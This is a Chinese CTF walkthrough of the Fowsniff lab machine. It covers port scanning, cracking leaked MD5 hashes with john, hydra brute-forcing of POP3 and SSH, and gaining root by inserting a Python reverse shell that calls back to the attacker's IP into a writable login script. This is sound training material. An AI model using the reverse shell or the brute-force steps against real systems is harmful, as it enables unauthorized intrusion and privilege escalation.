[VulnHub靶机渗透] Fowsniff

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nikto漏洞扫描

nmap漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、信息收集

4、pop3渗透测试

三、提权

1、信息收集

2、反弹shell

3、flag


前言

靶机精讲之Fowsniff靶机,涉及诸多信息收集,比如web信息收集、媒体网站信息收集、工具站信息收集、pop3服务器信息收集,还涉及john和hydra密码暴力破解,crackmapexec密码碰撞,ssh的banner脚本提权等,可以到vulnhub下载靶机边看视频边实操,是一台构思精巧、全面磨练日常渗透技能的的高仿真靶机,非常值得学习。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.185

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

发现开放了22、80、110、143端口,发现110端口开放了pop3服务

pop3 是一种 Internet 邮件访问协议,它允许用户通过客户端应用程序(如电子邮件客户端)从邮件服务器接收电子邮件。Dovecot pop3d 是一个开源的 pop3 服务器软件,用于提供 pop3 访问服务。

┌──(root??kali)-[~]
└─# nmap -sS -A -p- 192.168.31.185 

3、漏洞扫描

nikto漏洞扫描

利用nikto漏洞扫描工具,简单地扫描到了一些目录文件,访问发现,对于渗透测试没有什么价值

┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.185

nmap漏洞扫描

nmap扫描发现一些目录,比如robots.txt关键目录可以尝试访问下,还扫描发现了CVE:CVE-2007-6750漏洞以及sql注入漏洞,我们后面如果还是对靶场没有什么突破,我们到时候就可以回到这里进行验证下。

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80,110,143 192.168.31.185 

漏洞:CVE:CVE-2007-6750,是用于攻击一些恶意网站,使其恶意网站瘫痪,访问不了的作用,有点像ddos攻击,感兴趣的师傅们可以尝试一下。

二、渗透测试+信息收集

1、web渗透

发现web页面没有找到什么有价值的信息,就是告诉我们这个网站被黑客攻击,然后网站停运了,说什么员工管理员的信息泄露之类的,目前看没有什么有价值的 。

右击查看网页源代码,没有发现什么隐藏的信息

一般可能会存在框架漏洞,但是这里没有发现什么框架漏洞

2、目录扫描

目录扫描发现比之前多了一个/security.txt目录,我们尝试访问下

┌──(root??kali)-[~]
└─# dirb http://192.168.31.185 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -X .php,.txt
  • http://192.168.31.185这是您指定的目标 URL,即要进行目录扫描的网站地址。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt这个参数用来指定字典文件的位置。在这里,您使用了 -w 参数并提供了一个字典文件的路径 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
  • -X .php,.txt这个参数指定了要排除的文件扩展名。在这个命令中,您使用 -X 参数并列出了 .php.txt,这意味着 Dirb 将会扫描到的 URL 中排除这些特定的文件类型。

/security.txt,

这段文本描述了一个名为 “FOWSNIFF” 的组织(可能虚构),声称他们被 “B1gN1nj4” 攻击并被完全控制(pwned)。看到这里我们想到开始80端口web页面,有一个推特的账号,说什么信息泄露的,我们可以尝试上网找下信息

3、信息收集

利用Google浏览器查找@fowsniffcorp Twitter,第一个就是下面的内容,这个图片很明显是黑客攻击网站成功以后,挂的黑页,我们尝试点击FowSniff - Explained. - Pastebin.com

我们发现下面有passwd密码的信息,所以我们尝试访问下面的.txt文件,查找密码有关的信息

发现很多的账号密码,密码进行了加密,后面我们需要对密码进行解密操作,然后还发现pop3,我们开始端口扫描也发现了这个,很有可能作者就是要让我们pop3进行登录查看信息

把这些内容保存到文档中

mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e

利用hash-identifier,发现是MD5加密的,我们可以利用john进行解密

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "8a28a94a588a95b80163709ab4313aa4"##########################################################################     __  __                     __           ______    _____           ##    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         ##    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        ##     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       ##      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      ##       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      ##        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 ##                                                             By Zion3R ##                                                    www.Blackploit.com ##                                                   Root@Blackploit.com ##########################################################################
--------------------------------------------------Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

用john破解一下,指定字典为rockyou.txt:

┌──(root💀kali)-[~/桌面]
└─# john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash

4、pop3渗透测试

把利用john解密出来的保存到pop3hash文件中

┌──(root💀kali)-[~/桌面]
└─# vim pop3hash  ┌──(root💀kali)-[~/桌面]
└─# cat pop3hash  
scoobydoo2       (seina@fowsniff)
orlando12        (parede@fowsniff)
apples01         (tegel@fowsniff)
skyler22         (baksteen@fowsniff)
mailcall         (mauer@fowsniff)
07011972         (sciana@fowsniff)
carp4ever        (mursten@fowsniff)
bilbo101         (mustikka@fowsniff)

将用户信息和密码信息分别保存:

┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}'                                                                                                                         1 ⨯ 1 ⚙
scoobydoo2
orlando12
apples01
skyler22
mailcall
07011972
carp4ever
bilbo101┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}' > pop3pwd                                                                                                                   1 ⚙┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}'                                                                                                   1 ⚙
(seina
(parede
(tegel
(baksteen
(mauer
(sciana
(mursten
(mustikka┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}'                                                                         1 ⚙
seina
parede
tegel
baksteen
mauer
sciana
mursten
mustikka┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' > pop3usrs                                                              1 ⚙┌──(root💀kali)-[~/桌面]
└─# ls                                                                                                                                                                 1 ⚙
CTF   Docker    hash     pop3hash  pop3usrs    pop3pwd   

如今我们已经有了pop3登录的账号和密码了,我们就可以利用hydra九头蛇进行爆破了

发现账号是seina 密码是scoobydoo2

┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 pop3

发现pop3登录成功了:

┌──(root💀kali)-[~/桌面]
└─# telnet 192.168.31.185 110                                                                                                                                        255 ⨯
Trying 192.168.31.185...
Connected to 192.168.31.185.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
user seina
+OK
pass scoobydoo2
+OK Logged in.

获取邮件数量和大小:

stat    // 获取邮件数量和总大小
list    // 列出所有邮件的编号和大小
retr <邮件编号>    // 检索指定邮件内容
top <邮件编号> <行数>    // 检索指定邮件的前几行内容

查看第一个邮件内容,发现stone用户邮件里面有ssh临时登录的密码

list
+OK 2 messages:
1 1622
2 1280
.
retr 1

这是一封来自 “stone@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): stone@fowsniff
  • 收件人(To): baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff, mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff, tegel@fowsniff
  • 主题(Subject): URGENT! Security EVENT!
  • 日期(Date): Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
  • 正文内容:邮件提醒公司内部系统遭到恶意攻击,攻击者利用 SQL 数据库中错误过滤的转义字符来访问登录凭据。为了重新建设系统安全,暂时转移到仅具有最小功能的临时服务器,但只能通过 SSH 访问该服务器。SSH 的临时密码为 “S1ck3nBluff+secureshell”,并强调需要尽快更改密码。

查看第二封邮件

这是一封来自 “baksteen@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): baksteen@fowsniff
  • 收件人(To):seina@fowsniff
  • 主题(Subject):You missed out!
  • 日期(Date):Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
  • 正文内容:邮件内容提到关于 AJ 的一次会议中发生了一些有趣的事情,AJ 被大家批评了一番。提到 AJ 曾在海军服役,并且一直用粗俗的语言表达自己的情绪。邮件内容还提到发件人开始感到不舒服了,可能也染上了 Devin 带回来的肺炎,希望 Devin 能迅速康复,并提醒 Devin 更改邮箱密码。

我们可以尝试利用hydra九头蛇,利用刚才找到的临时ssh密码去进行与pop3usrs文件里面的账号进行爆破,尝试登录ssh,因为刚才两封邮件里面的账户都是pop3usrs里面的账户

[22][ssh] host: 192.168.31.185   login: baksteen   password: S1ck3nBluff+secureshell
┌──(root💀kali)-[~/桌面]
└─# vim pop3pwd                                                                                                                                                  255 ⨯ 2 ⚙┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 ssh

ssh登录成功

┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                                                                        2 ⚙
The authenticity of host '192.168.31.185 (192.168.31.185)' can't be established.
ECDSA key fingerprint is SHA256:5i4lzzyTeroRL7skmPatRi24vG1+59KMgqHGLyxre9Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.185' (ECDSA) to the list of known hosts.
baksteen@192.168.31.185's password: _____                       _  __  __  :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions****  Welcome to the Fowsniff Corporate Server! **** ---------- NOTICE: ----------* Due to the recent security breach, we are running on a very minimal system.* Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff:~$ 

三、提权

1、信息收集

sudo提权和crontab自动化任务都没有什么提权的点

baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen: 
Sorry, user baksteen may not run sudo on fowsniff.
baksteen@fowsniff:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command
17 *  * * *  root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
baksteen@fowsniff:~$ 

本来想到家目录查找一下提权的信息,但是都没有权限,没有找到有价值的信息

baksteen@fowsniff:/home$ pwd
/home
baksteen@fowsniff:/home$ ls
baksteen  mauer  mursten  mustikka  parede  sciana  seina  stone  tegel
baksteen@fowsniff:/home$ cd seina
-bash: cd: seina: Permission denied
baksteen@fowsniff:/home$ cd mauer
-bash: cd: mauer: Permission denied
baksteen@fowsniff:/home$ cd tegel
-bash: cd: tegel: Permission denied
baksteen@fowsniff:/home$ 

SUID提权,也没有找到能够直接提权的命令

baksteen@fowsniff:/home$ find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chsh

尝试内核提权,也没有成功

baksteen@fowsniff:/home$ uname -a
Linux fowsniff 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

后来是查看大佬的博客,发现是找可写入的文件中,然后尝试反弹shell

我们这里需要注意一个小细节:我们需要先切换到/usr目录下(具有可写入权限)

baksteen@fowsniff:/usr$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
/opt/cube/cube.sh
/home/baksteen/.cache/motd.legal-displayed
/home/baksteen/Maildir/dovecot-uidvalidity
/home/baksteen/Maildir/dovecot.index.log
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff
/home/baksteen/Maildir/dovecot-uidlist
/home/baksteen/.viminfo
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/term.txt
/home/baksteen/.profile
/home/baksteen/.bashrc
baksteen@fowsniff:/usr$ 

我们这里查看下/opt/cube/cube.sh文件的权限,发现是可以写入的权限,我们发现这个文件就是我们开始ssh登录进去的页面,所以说这个文件就是当ssh远程登录的时候,我们拿kali监听,可以尝试写入反弹shell的木马进去,然后得到root权限。

baksteen@fowsniff:/usr$ ls -la /opt/cube/cube.sh
-rw-rwxr-- 1 parede users 851 Mar 11  2018 /opt/cube/cube.sh
baksteen@fowsniff:/usr$ cat /opt/cube/cube.sh
printf "_____                       _  __  __  :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions\n\n"baksteen@fowsniff:/usr$ 

2、反弹shell

这里给师傅们推荐一个蛮好用的自动化写反弹shell木马的网站,页面也是蛮好看的一个网站,我这里选择python3进行反弹shell。

Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.icon-default.png?t=N7T8https://www.revshells.com/

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.225",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'┌──(root💀kali)-[~/桌面]
└─# nc -lvnp 1234                                                                                                                                                      1 ⚙
listening on [any] 1234 ...┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                              
baksteen@192.168.31.185's password: 

3、flag

反弹shell成功,成功拿到root权限

┌──(root💀kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.225] from (UNKNOWN) [192.168.31.185] 59410
root@fowsniff:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@fowsniff:/# whoami
whoami
root
root@fowsniff:/# cd /root
cd /root
root@fowsniff:/root# ls -la
ls -la
total 28
drwx------  4 root root 4096 Mar  9  2018 .
drwxr-xr-x 22 root root 4096 Feb 16 11:17 ..
-rw-r--r--  1 root root 3117 Mar  9  2018 .bashrc
drwxr-xr-x  2 root root 4096 Mar  9  2018 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  5 root root 4096 Mar  9  2018 Maildir
-rw-r--r--  1 root root  582 Mar  9  2018 flag.txt
root@fowsniff:/root# cat flag.txt
cat flag.txt___                        _        _      _   _             _ / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| || (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|\___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)|___/ (_)|--------------|&&&&&&&&&&&&&&||    R O O T   ||    F L A G   ||&&&&&&&&&&&&&&||--------------||||||---Nice work!This CTF was built with love in every byte by @berzerk0 on Twitter.Special thanks to psf, @nbulischeck and the whole Fofao Team.root@fowsniff:/root# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/474763.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java 学习和实践笔记(11)

三大神器&#xff1a; 官方网址: http://www.jetbrains.com/idea/ 官方网址: https://code.visualstudio.com/ 官方网址: http://www.eclipse.org 装好了idea社区版&#xff0c;并试运行以下代码&#xff0c;OK&#xff01; //TIP To <b>Run</b> code, press &l…

这可能是最全面的计算机网络面试八股文了

面试网站&#xff1a;topjavaer.cn 目录&#xff1a; 网络分层结构三次握手两次握手可以吗&#xff1f;四次挥手第四次挥手为什么要等待2MSL&#xff1f;为什么是四次挥手&#xff1f;TCP有哪些特点&#xff1f;说说TCP报文首部有哪些字段&#xff0c;其作用又分别是什么&…

一文学习python中编码和解码

学习目录 1 什么是编码和解码 2 编解码基本原理 3 python的默认编码 4 什么是10进制/2进制/8进制/16进制&#xff1f; 5 python的字符串utf-8编解码 5.1 使用str.encode()编码 &#xff0c;str.decode()解码 5.2 解码的乱码问题 5.3 16进制字符串转为普通字符串 6 python…

为什么录屏没有声音?深入解析,对症下药!

随着科技的发展&#xff0c;录屏成为了一种越来越受欢迎的方式&#xff0c;可以用来录制游戏、课程、演示等内容。然而&#xff0c;很多人在使用录屏软件的时候&#xff0c;都会遇到一个问题&#xff1a;录屏没有声音。那么为什么录屏没有声音呢&#xff1f;接下来&#xff0c;…

NumPy模块完结篇:深入探讨和高效利用【第85篇—NumPy模块】

NumPy模块完结篇&#xff1a;深入探讨和高效利用 NumPy是Python中用于科学计算的核心库之一&#xff0c;提供了高性能的多维数组对象&#xff08;numpy.ndarray&#xff09;以及许多用于操作这些数组的函数。在前面的几篇博客中&#xff0c;我们介绍了NumPy的基础知识、数组操…

第三百五十一回

文章目录 1. 概念介绍2. 获取方法3. 示例代码4. 对比与总结4.1 横向对比4.2 内容总结 我们在上一章回中介绍了"如何获取当前系统语言"相关的内容&#xff0c;本章回中将介绍获取当前时区.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们使用的北京…

前端面试必备八股文——HTMLCSS

HTML src和href的区别 src和href都是用来加载外部资源&#xff0c;区别如下 src当浏览器解析到该元素时&#xff0c;会暂停其他资源的加载和处理&#xff0c;直到该资源加载完成。 它会将资源内容嵌入到当前标签所在的位置&#xff0c;将其指向的资源下载应用到文档内&#…

WebServer 之 http连接处理(下)

目录 ✊请求报文--解析 流程图 && 状态机 状态机 -- 状态转移图 主状态机 从状态机 http 报文解析 HTTP_CODE 含义 从状态机 逻辑 主状态机 逻辑 &#x1f41e;请求报文--响应 基础API stat mmap iovec writev 流程图 HTTP_CODE 含义(2) 代码分析 …

C语言学习day16:二维数组

二维数组格式&#xff1a; 数据类型 数组名[行][列] { {值1&#xff0c;值2}, {值3&#xff0c;值4} } 代码&#xff1a; int arr[2][3] { {1,2,3},{4,5,6} }; 那么我们怎么找它的下标呢&#xff0c;我先上一副图&#xff1a; 假如我现在要找1&#xff0c;那么它…

JWT和base64

1.1 jwt和token 1.1.1 token介绍 令牌&#xff08;Token&#xff09;&#xff1a;在计算机领域&#xff0c;令牌是一种代表某种访问权限或身份认证信息的令牌。它可以是一串随机生成的字符或数字&#xff0c;用于验证用户的身份或授权用户对特定资源的访问。 简单理解 : 每个…

vue-路由(六)

阅读文章你可以收获什么&#xff1f; 1 明白什么是单页应用 2 知道vue中的路由是什么 3 知道如何使用vueRouter这个路由插件 4 知道如何如何封装路由组件 5 知道vue中的声明式导航router-link的用法 6 知道vue中的编程式导航的使用 7 知道声明式导航和编程式导航式如何传…

Java实现新能源电池回收系统 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 用户档案模块2.2 电池品类模块2.3 回收机构模块2.4 电池订单模块2.5 客服咨询模块 三、系统设计3.1 用例设计3.2 业务流程设计3.3 E-R 图设计 四、系统展示五、核心代码5.1 增改电池类型5.2 查询电池品类5.3 查询电池回…